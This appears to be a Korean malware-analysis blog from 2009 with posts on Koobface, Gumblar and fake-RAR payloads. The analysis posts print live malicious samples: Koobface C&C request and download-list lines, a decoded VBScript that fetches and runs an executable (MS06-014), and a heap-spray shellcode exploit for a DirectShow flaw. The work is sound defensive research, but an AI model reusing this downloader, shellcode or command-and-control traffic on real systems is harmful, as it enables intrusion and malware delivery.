0xFF small talk2009. 11. 20. 15:10


과연 어떤 형태의 악성코드들이 판을 칠까요?

최근에 koobface 관련된 웜이나 벌새님 블로그에 있는 글(http://hummingbird.tistory.com/1573)에 나온 가짜 백신이나

코덱으로 위장(?)한 놈들인데요...

내년엔 코덱이 대세를 이룰까요??


걍 쓸때 없는 생각해봤습니다.

여러분들 생각은 어떠세요?

^^;;



Posted by demantos
0x02 analysis2009. 11. 20. 14:57


샘플은 offensivecomputing에서 확보했습니다.

File Name : setup.exe
File Size : 40,960 byte
md5sum : d274d51cd78c9e0ee79ab61880dc22b5


이전 글(http://malwarelab.tistory.com/?page=3)에 첨부된 트렌드마이크로 분석보고서와는 약간 다른 양상을 보이고 있는 것으로 보입니다. 전체적인 큰 틀은 거의 동일하지만 파일들도 많이 바뀐 것 같고 내부 로직도 일부 변경된 것으로 보입니다.

게다가 얼마전 ASEC의 블로그에 게재된 글에서 확인된 setup.exe와 사이즈가 차이가 있는 것으로 보아 지속적으로 변종이 나올 위험성이 있는 것으로 보입니다.


먼저 setup.exe 파일을 실행시켜 봤습니다.
보통 악성코드가 실행되어 접속하는 사이트들은 악성사이트로 간주하는 경우가 대부분이고 반복적으로 실행하더라도 접속하는 도메인이나 IP가 동일한 경우가 대부분입니다. (여기서 반복 실행은 모두 깨끗한 상태에서 실행을 의미합니다)

하지만 제가 획득한 setup.exe는 달랐습니다.
매번 실행할때마다 접속하는 사이트가 달랐습니다. -_-;;

그래도 어쨋든 일정 패턴을 가지고 있었습니다.

setup.exe 실행 직후에는 모두 google.com으로 접속합니다. 이는 현재 악성코드가 실행된 좀비가 인터넷이 가능한 환경인지 확인하기 위함입니다.




그리고 나서 악성코드를 다운로드하기 위한 사이트로 접속합니다.




dozerdoggie.com나 rowanhenderson.com 사이트는 정상사이트입니다.
dozerdoggie.com에 요청한 결과에는 404 Not Found가 나오자 rowanhenderson.com에 다시 동일한 내용을 요청합니다.

/.sys/?action=ldgen&v=15




위 URL을 요청하자 특정 포맷으로 이루어진 결과를 보내주고 있습니다.

/.sys/?getexe=v2prx.exe
/.sys/?getexe=pp.12.exe
/.sys/?getexe=get.exe
/.sys/?getexe=fb.73.exe
/.sys/?getexe=v2captcha.exe
/.sys/?getexe=v2googlecheck.exe


위에서 잠깐 말씀드렸지만 setup.exe를 실행할때마다 이런 도메인들이 계속 바뀝니다.
그것도 완전 랜덤으로 바뀌는데다가 대부분 정상사이트들입니다.

이번엔 비슷한 URL을 한번 더 요청합니다.




/.sys/?action=ldgen&a=-1201776206&v=15&l=1000&c_fb=1&c_ms=1&c_hi=0&c_tw=0&c_be=1&c_tg=0&c_nl=1

위 내용을 요청하면 아래와 같은 응답이 옵니다.




이번에는 약간 다른 요청을 하는데 URL에 포함된 파라미터에 따라 다운받을 파일들이 변합니다.

/.sys/?action=ldgen& --> 목록 생성(정도의 의미로 보면 될것 같습니다)
a=-1201776206& --> ???? (무슨 의미일지 가장 궁금한데 알 수가 없습니다) 좀비IP와 연관이 있을 것으로 추정됩니다.
v=15& --> 버전
l=1000& --> PID
c_fb=1& --> Facebook 사용중인지 확인하는 파라미터
c_ms=1& --> MySpace 사용중인지 확인하는 파라미터
c_hi=0& --> hi5 사용중인지 확인하는 파라미터
c_tw=0& --> Twitter 사용중인지 확인하는 파라미터
c_be=1& --> bebo 사용중인지 확인하는 파라미터
c_tg=0& --> tagged 사용중인지 확인하는 파라미터
c_nl=1 --> netlog 사용중인지 확인하는 파라미터



파라미터값이 1이면 사용중이라는 것이고 0이면 사용중이지 않다라는 의미입니다.
사용중인 것을 확인하는 것은 쿠키가 있는가 없는가를 가지고 판단하고 있었습니다. c_ 의 의미가 쿠키의 약자인듯 합니다.

결국 사용중인 Social Networking 사이트의 정보를 빼내갈 수 있는 악성코드만 다운로드하기 위함으로 보입니다.
Twitter를 사용하지도 않는데 Twitter 정보를 빼가는 악성코드를 다운로드해서 설치해봐야 의미가 없다는 생각이겠죠.

실제로 /.sys/?action=ldgen&a=-1201776206&v=15&l=1000&c_fb=1&c_ms=1&c_hi=1&c_tw=1&c_be=1&c_tg=1&c_nl=1 와 같은 형태로 요청을 해보면 모두 다운로드할 수 있는 링크를 보여줍니다.



트렌드마이크로 분석보고서에 보면 fubar.com이나 myyearbook.com, friendster.com과 같은 사이트에 대한 악성코드가 존재한다고 해서 c_fu=1&c_yb=1&c_fr=1을 붙여서 요청해봤지만 이 세개의 사이트에 대한 악성코드는 다운로드 되지 않았습니다.

즉, 쿠키가 존재 여부를 확인하여 파라미터값을 1로 설정하여 쿠키가 존재하는 사이트의 정보를 유출할 수 있는 악성코드만 다운로드하게끔 하고 있습니다.




목록에 지정된 파일들을 다운로드해서 실행합니다.

get.exe 파일을 다운로드해서 실행하면 xtsd20090815.com 도메인으로 연결을 하면서 특정 정보를 전송해줍니다.
이 도메인은 Koobface C&C 도메인으로 get.exe 파일이 실행되면 아래에 나열된 FTP 프로그램들의 설치 여부를 확인한 후 저장된 정보가 있으면 그 정보를 C&C 서버에게 전송합니다.

<Koobface C&C 관련 참고사이트>
http://ddanchev.blogspot.com/2009/08/movement-on-koobface-front.html
http://ddanchev.blogspot.com/2009/08/movement-on-koobface-front-part-two.html

hxxp://xtsd20090815.com/adm/index.php?logs=<FTP사이트정보>






디버거로 확인한 결과 여러가지 FTP 프로그램의 레지스트리값을 뒤져서 있는 경우 해당 프로그램에서 사용하는 접속 정보를 저장하는 파일을 읽어서 logs= 뒤에 붙여서 C&C 서버로 전송하고 있었습니다. 위 그림에서는 짤렸는데 Internet Explorer를 통해 FTP 접속시 저장된 계정 정보도 유출하고 있었습니다.


Social Networking 사이트를 공격하는 악성코드들이 실행되면 다음과 같은 Request들이 발생합니다.

/.sys/?action=msgen&v=24
/.sys/?action=msgen&a=-1201776206&v=24







Reponse에 있는 내용은 최초 악성코드를 유포하는 코덱을 다운로드하게끔 하는 사이트로 연결하는 링크를 포함한 쪽지 내용들입니다. 이런식으로 계속 Social Networking 사이트 사용자들에게 쪽지를 보내 setup.exe 파일의 설치를 유도하고 있었습니다.



다운로드 되는 파일은 제가 처음에 분석하고 있던 파일들과 약간 사이즈가 다른 것으로 보아 변종으로 생각됩니다.

하지만 현재 다운로드되는 파일들이 여러 사이트를 통해 다운로드되지만 사이즈 확인 결과 모두 비슷한 파일인 것을 확인했습니다.
md5sum값은 모두 다르지만 ssdeep으로 확인해본 결과 모두 약간의 차이만 있는 변종 파일들이었습니다.

PS E:\04.analysis\binary\koobface\other_malware> ssdeep set*
ssdeep,1.0--blocksize:hash:hash,filename
384:5AZdwQjdy0AMi/jKqhnlso/M8gYLzZi+yjlG0pOgRGGP/orZaEocNd69xt+MlZfm:2ZdwQoJpRr/MTYPZibArZanFxckZO,"E:\04.analysis\binary\koobface\other_malware\setup.exe"
384:jAZdwQjdy0AMi/jKqhnlso/M8gYLzZi+yjlG0pOgRGGP/orZaEocNd69xt+MlZfm:EZdwQoJpRr/MTYPZibArZanFxckZO,"E:\04.analysis\binary\koobface\other_malware\setup1.exe"
384:DAZdwQjdy0AMi/jKqhnlso/M8gYLzZi+yjlG0pOgRGGP/orZaEocNd69xt+MlZfm:kZdwQoJpRr/MTYPZibArZanFxckZO,"E:\04.analysis\binary\koobface\other_malware\setup2.exe"

그리고 눈치채신 분들도 계시겠지만 악성코드들의 버전이 업그레이드되었습니다.
조금 전에 보셨던 요청 URL인 /.sys/?action=msgen&v=24에서 v=는 버전을 의미합니다.
처음에 보여드렸던 다운로드 파일은 ms.23.exe였는데 현재는 24입니다. 대부분의 악성코드들이 업그레이드 된 것으로 보입니다.

/.sys/?action=msgen&v=23을 요청하면 다음과 같은 응답이 옵니다.

#BLACKLABEL
RESET
UPDATE|http://inartdesigns.com/.sys/?getexe=ms.24.exe
EXIT
MD5|9f0c7d4916360cd4bc489270f5d62087


현재버전이 24이니 그걸로 업데이트해라....이런 말이죠...

처음 분석을 시작했을때(10일전)와 버전이 변경된건 2개였고 1개가 추가되었습니다.

#BLACKLABEL
#GEO=KR
#IP=221.139.14.3
#PID=1000
STARTONCE|http://nsync.filipinaprincess.com/.sys/?getexe=get.exe
STARTONCE|http://nsync.filipinaprincess.com/.sys/?getexe=fb.75.exe
STARTONCE|http://nsync.filipinaprincess.com/.sys/?getexe=be.18.exe
STARTONCE|http://nsync.filipinaprincess.com/.sys/?getexe=ms.24.exe
STARTONCE|http://nsync.filipinaprincess.com/.sys/?getexe=hi.15.exe
STARTONCE|http://nsync.filipinaprincess.com/.sys/?getexe=tg.14.exe
STARTONCE|http://nsync.filipinaprincess.com/.sys/?getexe=tw.07.exe
START|http://nsync.filipinaprincess.com/.sys/?getexe=v2newblogger.exe
START|http://nsync.filipinaprincess.com/.sys/?getexe=v2captcha.exe
START|http://nsync.filipinaprincess.com/.sys/?getexe=v2googlecheck.exe
MD5|f6110f3897ea1241482631a2c71cf0a9



모든 감염이 이루어진 후에는 다음과 같은 Captcha 화면을 보여줍니다.



화면에 보이는 글자는 정상적으로 입력하지 않아도 화면이 풀리게 되어 있습니다. 물론 틀리면 틀렸다는 메시지를 보여주지만 다섯번 정도 틀린 후에는 정상적으로 화면이 풀립니다.
머...틀린 글자를 입력해도 풀리긴 하지만 이렇게 푼 경우에는 조금 후에 다시 captcha 화면이 보여집니다.

captcha 이미지와 관련된 요청은 capthcabreak.com과 captchastop.com에게 하고 있었는데 두개의 도메인이 동일한 IP를 사용하고 있었습니다. 실행할때마다 capthcabreak.com하고만 통신하는 경우가 있었고 간혹 둘 다 통신하는 경우도 있었는데 IP가 동일하기 때문에 별 의미는 없는 것으로 보입니다.

/captcha/?a=get&i=0&v=14 --> captch 이미지 요청
/blogspot/newblogger.php?a=names&ver=12
/captcha/tmp/go9482090.jpg --> captcha 이미지
/check/in.php?v=7
/check/blocked.php?v=7&url=http%3A%2F%2Fbit.ly%2F1ZwUlt --> setup.exe를 다운받아 설치하게끔 유도하는 사이트
/check/out.php?v=7
/captcha/?a=save&b=goo
/captcha/?a=query&b=goo&id=9482119
/captcha/?a=put&id=go9482090&v=14&code=schanato --> captcha 이미지상의 문자열 입력
/captcha/?a=query&b=goo&id=9482119
/captcha/?a=save&b=goo
/captcha/?a=query&b=goo&id=9482187
/check/in.php?v=7
/check/dump.php?v=7&url=http%3A%2F%2Fsiriuspro.com%2F122%2F --> setup.exe를 다운받아 설치하게끔 유도하는 사이트
/check/out.php?v=7

?a=save와 ?a=query는 무슨짓을 하는지 파악이 잘 안되고 있습니다.
솔직히 captcha는 별게 없어 보이는데 분석할수록 뭔가 이상한게 계속 나오고 있습니다. -_-;;

/check/in.php?v=7은 위와 같은 악성페이지들의 목록과 크기(byte)을 랜덤하게 보여주고 여기서 확인된 악성페이지를 blocked.php나 dump.php를 이용해서 악성페이지 내용을 그대로 올리고 있는데 HTML 내용을 보면 Facebook 페이지 중 하나를 그대로 사용한 것이고 continue 버튼을 누르면 setup.exe 파일을 다운로드 하는 사이트로 연결됩니다.
blocked.php나 dump.php가 번갈아가면서 사용이 되는데 아직 정확히 어떤 조건에서 둘 중 하나를 쓰는지 확인은 못했습니다.




일단은 여기까지가 setup.exe를 실행시켜 동적분석한 내용입니다.

결국 /.sys/?action= 과 /.sys/?getexe= 이라는 URL을 통해서 뭔가 행동을 하고 있습니다.
부가적인 악성코드도 받아오고 악성페이지를 보여조는 쪽지를 보내기도 하구요..

그래서 IDS에 패턴을 넣어서 추이를 살펴본 결과 C&C로의 통신이나 위 두개의 URL을 요청하는 경우가 그리 많지는 않았습니다.
랜덤하게 사용되는 악성코드 유포 사이트들의 도메인이름도 .kr 도메인은 하나도 보질 못했고 Top Level Domain들이 대부분이었고 TLD가 아닌 경우에는 유럽이나 미국쪽 사이트들이었습니다.


뭔가 좀 부족한 느낌이 드는건 아직 파일을 동적 분석해보지 않았다는 것이 되겠습니다. -_-;;
조만간 짬짬히 시간을 내서 파일 분석을 해보면 어떤 파일이 어떤 행동을 하는지 좀 더 명확해질 것 같습니다.

바이너리는 조만간(?) 분석해서 따로 글을 게시하도록 하겠습니다.




Posted by demantos
0x04 reference&tools2009. 11. 10. 14:08


오늘 아침 아래 글을 보았습니다.

http://blog.ahnlab.com/asec/176?TSSESSIONblogahnlabcom=67765c093a27d0b62777426c78d3e4c4


이슈가 된지 오래되었는데 이전에 나왔던 koobface와 약간 다른 양상을 보인다고 하는군요..
유튜브(YouTube) 동영상 관련 코덱으로 위장해서 전파가 되고 있었고
동영상을 클릭하면 Flash Player 10.37을 설치하라고 하면서 Setup.exe 파일을 다운로드해서 실행한다고 합니다.
일단 감염이 되면 system32 폴더에 ld15.exe 파일을 생성합니다.

이번건이 변종이라고 해서 예전에 나왔던 샘플을 구해봤습니다.
꽤 많더군요..(20개 -_-;;)

일단 앞뒤 안보고 전부 실행해봤습니다.
파일들이 많이 생기더군요..

이번건와 다른점은 system32 폴더가 아닌 C:\WINDOWS 폴더에 파일들을 생성하고 있었습니다.

좀 더 검색을 해보니 트렌드마이크로에 좋은 분석 자료들이 있더군요..

일단 koobface 웜의 동작도(?)부터 보시죠..


[클릭해서 크게보세요]


원문 : http://blog.trendmicro.com/the-real-face-of-koobface/


참 대단한 녀석이군....이라는 생각이 들었습니다.
시간나면 확보된 샘플들 하나씩 분석해봐야겠습니다.
(과연....가짜 rar이나 마무리 지어라...-_-;;;;)

마지막으로 트렌드마이크로에서 가져온 koobface 분석보고서입니다.
상당히 자세하게 작성되어 있는 좋은 자료로 보여 첨부합니다.






Posted by demantos
0x04 reference&tools2009. 10. 23. 10:42


[참고 블로그]
http://hummingbird.tistory.com/1049
http://viruslab.tistory.com/689
http://blog.ahnlab.com/asec/162 [추가]



Gumblar Reloaded


http://blogs.iss.net/archive/GumblarReloaded.html

Posted by John Kuhn and Ryan McNulty with a little help from Holly Stewart on October 19, 2009 at 4:12 PM EDT.

Gumblar is back, and it has an upgraded arsenal of exploits to compromise your browser, Office, and Adobe® products.

Here in Managed Security Services, we’ve noticed a considerable elevation in our global hits on malicious PDF files.  More specifically, the signature used to detect the latest Adobe Reader Remote Code Execution has picked up most of the activity.  Here's a graph of the attacks we’re seeing:


 
The event count on Oct 19 ended at over a thousand events, five times the normal event count for this kind of malicious PDF and nearly doubling the kind of attack activity we've seen in the past.

Upon reviewing the data, it became very apparent that the sites hosting the malicious files were legitimate websites (privately owned and operated).  All of these websites have been compromised and are now indiscriminately serving the malicious payload to countless victims.

In the past, Gumblar has been known to use stolen FTP password credentials to compromise their victim’s websites.  We can only guess that these compromises were no different.  As website visitors get infected, they (unknowingly) are farmed for any FTP credentials, seemingly providing the Gumblar controllers with an endless supply of future websites they can compromise.

So what’s different this time around?  In previous versions of Gumblar, the malicious scripts and payload were hosted on a remote server.  Iframe code was injected into the compromised website, and it redirected visitors to their rogue server (gumblar.cn).  This time around, they are placing the malicious scripts and payload directly on the compromised host, which gives them a decentralized and redundant attack vector, spread across thousands of legitimate websites around the world.

The uploaded scripts are placed carefully to match existing file structures currently on the websites.  Heavy obfuscation is used in an attempt to evade some existing security measures.

Here's a snippet of the obfuscated malicious script:

Some of the attack vectors have also changed.  Today, we see the following exploits in play:

All of these attacks are very recent and effective at compromising the client side victim in an effort to propagate their malicious payload worldwide.  Coverage for the updated Trojan is still very low according to an analysis done through VirusTotal.

Your best means of protection is to use protections provided by your IPS/IDS device and to apply the latest patches for all of the affected applications, if you haven’t already done so.

Gumblar is a force to be reckoned with, and this latest push of theirs is a true testament to that fact.  As always, we’ll do our best to keep you informed of its changes and activities here.

 

Change History

Tue, Oct 20, 2009: Updated the chart to reflect the event count total at the end of Monday.


 



Reloaded 라는 단어를 보니 매트릭스가 생각나는군요...^^;;
오늘 저녁엔 매트릭스나 볼까....




Posted by demantos
0x02 analysis2009. 10. 16. 18:00

이전 포스팅(http://malwarelab.tistory.com/53)에서 말씀드렸듯이 프로그램을 짜볼려 노력은 조금(?) 했습니다.

프로그래밍 공부를 해야겠다는 생각만 들게 하더군요..

아는 형(잡초인생)에게 부탁했습니다.

리눅스에서 C는 쫌(?) 하시는 분입니다.


결과는.....와우~

첫번째 라인 제거하고 모든 바이트를 특정 키값으로 빼서 실제 동작하는 exe를 추출 했습니다.

하지만 곧 제가 생각이 짧았다는걸 알게 되었습니다.

Stud PE나 PEiD에서 확인해보니 Not a Valid PE file 이라는 메시지만 볼 수 있었습니다. ㅜ.ㅜ




이걸 보니 뭔가 다른 로직이 더 있을거라는 생각이 들었습니다.

가장 좋은 방법은 dll 파일이 있으면 좋겠지만 아직 확보를 못했습니다.




그래서 생각한 방법이 하나 있습니다.

좀 말씀드리기 부끄럽기만 진정한 삽질을 한번 해볼까 합니다. -_-;;

일단 변경된 내용을 가지고 PE 포맷의 어느 부분이 잘못되었는지 확인해볼까 합니다. (말도 안되는...)

MZ와 PE signature는 찾았으니 PE 포맷을 확인해보면 분명 어딘가 잘못된 곳이 있을겁니다.


오늘도 즐삽~




Posted by demantos
0x02 analysis2009. 10. 15. 17:40

[관련링크]


이미 나온지 조금 지난 형태의 악성코드인데 저는 1달 전에 봤던것 같습니다.
처음 볼때만 해도 이건 머냐....였었는데 위 두 글을 읽고 나니 그게 그거였더라는...-_-;;
늦은감이 있지만 한번 분석해봤습니다.

처음엔 exe파일을 확장자만 바꿔 놓은게 아닌가 생각했었는데
HEX 에디터로 열어보니 PE 파일은 아니었습니다.

일단 어떻게 생겼는지 한번 보시면




이렇게 생겼습니다.

위 두 포스팅을 보시면 시작이 Rar! 로 시작하는 것과는 다른 형태를 보여주고 있었습니다.
Viruslab님께 문의한 결과 예전엔 변종일 경우에는 시작이 Rar! 로 나오지 않는 경우가 있다고 하셨습니다.

이런 형태라면 당연히 실행이 안되고 특정 DLL에 의해서 해당 rar 파일이 다운로드되고 디코딩이 됩니다.
물론 DLL에는 디코딩 로직이 들어 있을꺼구요..

결국

특정 취약점을 공격 --> DLL Injection --> 악성 DLL에 의해 rar 다운로드 
--> 악성DLL에 의해 rar 디코드 --> 진짜 악성코드(exe)

이런식으로 동작하게 됩니다.


디코딩되는 로직은 정상적인 PE 파일과 비교해보시면 간단하게 확인할 수 있습니다.

[정상 PE 파일]


[가짜 RAR 악성코드]



가짜 RAR 악성코드를 보시면 ②에서부터 PE 파일의 본체가 되고 디코딩을 담당하는 DLL 파일은 rar 파일을 처음부터 4byte씩 
읽어들여 00 00 00 00 이 나오는 곳까지 삭제해버릴 것으로 예상하고 있습니다.

그리고 ②에서 부터 이미 지정된 특정 키값을 이용해서 디코딩을 하게 될 것입니다.
그렇다면 디코딩하는 키값을 분석자가 찾을 수 있는가가 관건인데요..

③ 부분에 보시면 05 BE 8D BA 가 반복되는 것을 보실 수 있는데 정상적인 PE 파일에서는 00 00 00 00 으로 채워져 있는 부분입니다. 가짜 RAR 악성코드에서 처음부터 16바이트는 제거하고 나머지부분에 대해서 4byte씩 읽어서 05 BE 8D BA 를 뺀다고 보시면 됩니다.

즉, 05 BE 8D BA가 키값이 됩니다.

그러면 분석자는 해당 RAR 악성코드의 처음 16바이트를 제거하고 나머지부분에 대해서 05 BE 8D BA를 뺀 후 exe로 저장하면 실제 악성코드를 획득할 수 있게 됩니다.






이걸 디코딩할 수 있는 DLL이 없기 때문에 별도의 프로그램을 만들어 볼까 합니다.

일단은 제가 가지고 있는게 전부 두번째줄부터 실제 악성코드이니 첫번째줄(16바이트)은 제거하고
나머지 부분에 대해서 키값을 빼서 다른 파일로 저장하는 파일을 만들어 보고자 합니다.......만
프로그래밍은 아직 초보라 언제 완선될지 장담을 못합니다. ㅜ.ㅜ

일단 삽질 한번 해봐야할 듯 합니다.

너무 기대는 하지 말아 주세요...









Posted by demantos
0xFF small talk2009. 10. 9. 09:21


이래서 구글을 좋아라 합니다. ㅎㅎ






나중엔 지금까지 모아 놓은 구글 로고를 쫘악~ 갈아 봐야겠습니다.




------------------------------------------------------------------------------------
덧...

개인적으로 구글을 좋아하는데 별것도 아닌 포스팅때문에 방문자수가 올라가 씁쓸합니다.
그냥 전 제가 공부하는거 알고 있는거 공유하면서 그런거 보러 오시는분들이 많기 바라는데
다른걸 보러오시는분이 더 많아 좀 아쉽습니다.

ㅜ.ㅜ



Posted by demantos
0x02 analysis2009. 10. 1. 18:03

지금쯤 고향앞으로!! 하시는 분들도 계실겁니다.
무사히 다녀오시길 바랍니다. ^^
전 먼저 갔다와서 내일,모레까지 근무네요...ㅜ.ㅜ

오랜만에 스크립트 하나 분석했습니다.

확보한 파일은 총 8개입니다.

swf.js --- Main.asp ---+--- ad.htm ---> hxxp://www.eleparts.co.kr/data/msn.exe
                       +--- index.htm ---+--- he1.swf
                                         +--- he3.swf
                                         +--- he2.swf

swf.js

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('7.8("<1 5=4://2.3.6.9/d./e.c b=0 a=0></1>");',15,15,'|iframe|xxx|yyy|http|src||document|write|zzz|height|width|asp|t|Main'.split('|'),0,{}))

첫번째 스크립트는 패킹되어 있었습니다. http://dean.edward.name/unpacker 에서 언패킹해보면 iframe으로 Main.asp를 삽입하고 있었습니다.

document.write("<iframe src=http://xxx.yyy.6.zzz/t./Main.asp width=0 height=0></iframe>");


Main.asp

<SCRIPT>
document.write("<iframe width=50 height=0 src=ad.htm></iframe>");
document.write("<iframe width=100 height=0 src=index.htm></iframe>");
window.status="供냥";
window.onerror=function(){return true;}
</SCRIPT>
</HEAD>
</HTML>


ad.htm

<script type="text/jscript">
function init() {
document.write("");
}
window.onload = init;
</script>
<script>
var a1 = "ABCDEFG";
var a2 = "HIJKLMNOP";
var a3 = "QRSTUVWXYZabcdef";
var keyStrs = a1+a2+a3+"ghijklmnopqrstuv"+"wxyz0123456789+/"+"=";
function mydata(input){
 var output="";
 var chr1,chr2,chr3="";
 var enc1,enc2,enc3,enc4="";
 var i=0;
 var base64test=/[^A-Za-z0-9\+\/\=]/g;
 input=input.replace(/[^A-Za-z0-9\+\/\=]/g,"");
 do{
  enc1=keyStrs.indexOf(input.charAt(i++));
  enc2=keyStrs.indexOf(input.charAt(i++));
  enc3=keyStrs.indexOf(input.charAt(i++));
  enc4=keyStrs.indexOf(input.charAt(i++));
  chr1=(enc1<<2)|(enc2>>4);
  chr2=((enc2&15)<<4)|(enc3>>2);
  chr3=((enc3&3)<<6)|enc4;
  output=output+String.fromCharCode(chr1);
  if(enc3!=64){output=output+String.fromCharCode(chr2);};
  if(enc4!=64){output=output+String.fromCharCode(chr3);};
  chr1=chr2=chr3="";
  enc1=enc2=enc3=enc4="";
 };
 while(i<input.length);return output;
 };
t="43 + 37 ,107 - 36 ,9880 / 95 ,64 - 16 ,117 - 19 ,141 - 54 ,8211 / 69 ,9 + 34 ,884 / 13 ,97 - 16 ,153 - 42 ,38 + 18 ,75 + 24 ,350 / 7 ,5772 / 74 ,2057 / 17 ,0 + 97 ,70 + 18 ,3498 / 53 ,3 + 45 ,3358 / 46 ,16 + 55 ,137 - 17 ,90 + 14 ,174 - 76 ,153 - 44 ,167 - 67 ,1715 / 35 ,3204 / 36 ,4437 / 51 ,42 + 58 ,8856 / 82 ,51 + 29 ,3320 / 40 ,109 - 35 ,75 + 12 ,157 - 76 ,3348 / 31 ,113 - 35 ,64 + 42 ,172 - 73 ,4360 / 40 ,54 + 54 ,156 - 37 ,9200 / 92 ,1139 / 17 ,29 + 44 ,46 - 3 ,4420 / 65 ,72 + 9 ,6 + 106 ,179 - 61 ,1372 / 14 ,10395 / 99 ,52 + 14 ,196 - 88 ,... 중략 ...,13 + 90 ,51 + 39 ,10 + 99 ,102 - 49 ,187 - 83 ,1666 / 17 ,9 + 78 ,4760 / 56 ,30 + 90 ,94 - 18 ,670 / 10 ,102 - 29 ,4200 / 40 ,44 + 32 ,1675 / 25 ,56 + 17 ,111 - 6 ,30 + 46 ,4154 / 62 ,58 + 16 ,4720 / 40 ,94 + 5 ,83 - 12 ,4420 / 52 ,10185 / 97 ,3922 / 53 ,210 - 105 ,146 - 72 ,35 + 82 ,67 + 6 ,205 - 100 ,156 - 37 ,13447 / 113 ,4420 / 65 ,2754 / 34 ,174 - 63 ,1680 / 30 ,1 + 75 ,816 / 16 ,31 + 47 ,152 - 46 ,127 - 28 ,65 + 44 ,195 - 87 ,195 - 76 ,1700 / 17 ,55 + 13 ,22 + 30 ,84 - 23 ";
t=eval("mydata(String.fromCharCode("+t+"))");
document.write(t);
</script>

ad.htm은 t에 저장되는 문자열이 핵심입니다.
위 스크립트를 디코딩해보면

<html>
<script language="VBScript">
on error resume next
dl = "http://www.xxxxxxxx.co.kr/data/msn.exe"
Set df = document.createElement("ob"&"ject")
df.setAttribute "classid", "clsid:BD96C55"&"6-65A3-11D0-983A-00C04FC29E36"
str="Microsoft"&".XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"&"ea"
str1=a1&a2&a3
str5=str1
set S = df.createobject(str5&"m","")
S.type = 1
str6="G"&"ET"
x.Open str6, dl, False
x.Send
fname1="g0ld"&".com"
set F = df.createobject("Scripti"&"ng.FilesystemObject","")
set tmp = F.GetSpecialFolder(2)
S.open
fname1= F.BuildPath(tmp,fname1)
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Ap"&"plication","")
Q.ShellExecute fname1,"","","ope"&"n",0
</script>

이 스크립트는 MS06-014 취약점을 공격해서 hxxp://www.xxxxxxxx.co.kr/data/msn.exe 파일을 다운로드하여 실행하게끔 합니다. 미리 받아놨어야 하는데 안받아놨었습니다. -_-;; 지금은 다운로드가 안되는군요...


index.htm

<html>
<body> 
<div id="DivID">
<script src='he1.swf'></script> 
<script src='he3.swf'>
</script>
<script src='he2.swf'></script> 
</body>
</html>



he1.swf, he3.swf, he2.swf

var XXXxxyt='0';
var xxyytt='%';
var xxttyy='u';
var ttyyxx=xxyytt+xxttyy;
var UUse=ttyyxx+'9'+'09'+'0'+ttyyxx+'9'+'0'+'9'+XXXxxyt;
var YTavp='%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uEAEA';
var YTavp1='%u5858%u5858%u10EB%u4B5B%uC933%uB966%u03B8%u3480%uBD0B%uFAE2%u05EB%uEBE8%uFFFF';
var ytshell=unescape(UUse+YTavp1+... 중략 ...+'%u4627%uA8EE%ud5db%uc9c9%u87cd%u9292%ud2c9%ucfc8%ud493%udccb%uded3%uc9d4%u93c4%ud2de%u92d0%ud0d4%udadc%uced8%ud492%udccb%u92d3%ud2d1%ud2da%ud893%ud8c5%uBDBD%uBDBD'+YTavp);
var headersize=20;
var omybro=unescape(UUse);

var coass="darf";

var slacksace=headersize+ytshell.length;

while(omybro.length<slacksace)
omybro+=omybro;
bZmybr=omybro.substring(0,slacksace);
shuishiMVP=omybro.substring(0,omybro.length-slacksace);
while(shuishiMVP.length+slacksace<0x30000)
shuishiMVP=shuishiMVP+shuishiMVP+bZmybr;
memory=new Array();
var r=0;
var rsc="f";
for(x=r;x<300;x++)
memory[x]=shuishiMVP+ytshell;

var vpnject=document.createElement('ob'+'j'+'e'+'c'+'t');
DivID.appendChild(vpnject);
vpnject.width='1';
vpnject.height='1';
vpnject.data='./logo.gif';
var caoavp='li';
vpnject.classid='clsid:0955AC62-BF2E-4CBA-A'+'2B9-A63F772D46CF';


he1.swf, hw2.sef, hw3.swf는 플래쉬 파일이긴 하지만 실제로는 자바스크립트가 들어 있었습니다.
이 스크립트는 DirectShow MPEG2TuneRequest 취약점을 공격하는 제로데이 스크립트입니다.

자세한 내용은 http://hummingbird.tistory.com/1184 를 참조하시기 바랍니다.




참고로 ad.htm과 같은 형태의 스크립트가 실제로는 어떤 스크립트인지 확인하기 위해서는 디코딩 작업을 수행해야 합니다.
이런 경우 디코딩하는 간단한 팁(?)을 적어볼까 합니다.

ad.htm 스크립트 내용을 그대로 적고 마지막에 document.write(t); 와 </script> 는 지웁니다.
그리고 아래 내용을 이어서 적습니다.

document.write("<textarea rows=30 cols=100>");
document.write(t);
document.write("</textarea>");
</script>

이렇게 html 파일을 웹서버에 만들고 해당 파일을 요청하면 인코딩된 내용들이 디코딩되고 원래대로는 document.write(t)에서 실행하게 되는데 위 html 파일을 보면 <textarea>라는 태그때문에 스크립트가 실행되지 않고 텍스트 상자안에 디코딩된 스크립트 내용이 그대로 출력되게 됩니다.


이 방법은 일반적으로 많이 볼 수 있는 인코딩된 스크립트를 디코딩하는데에도 사용 가능합니다.
<textarea> 태그의 특성을 이용해서 스크립트를 그대로 출력하게 하는 방법으로 일반적으로 많이 보이는 인코딩된 스크립트는 document.write(unescape("인코딩된 문자열")); 과 같은 방법으로 확인 가능합니다.

즉, 아래와 같이 쓰시면 됩니다.

document.write("<textarea rows=30 cols=100>");
document.write(unescape("인코딩된 문자열"));
document.write("</textarea>");
</script>


이 방법을 알려주신 방립동님께 거듭 감사드립니다. ^^



그럼 오늘도 즐삽~





Posted by demantos
0xFF small talk2009. 10. 1. 14:36

malwarelab 시작하면서 아는 동생과 함께 http://webhack.tistory.com/ 블로그도 같이 운영할려고 했었습니다.

물론 현재 결과는.....

참담합니다.. -_-;;

글 4개...

전부 퍼온글...



지꺼 블로그(http://ju12.tistory.com/) 운영한다고 거의 운영을 안했더군요..

뭐...같이 하기로 해놓고 저도 안했으니 할말은 없지만요..


webhack 블로그도 활성화를 시켜볼까 하는데..

혹시 팀블로그로 같이 참여하실 분 있으시면 언제든지 환영합니다. ^^



이 블로그도 제대로 운영 못하면서 무슨 또 블로그냐하시면 할 말 없습니다만...ㅜ.ㅜ

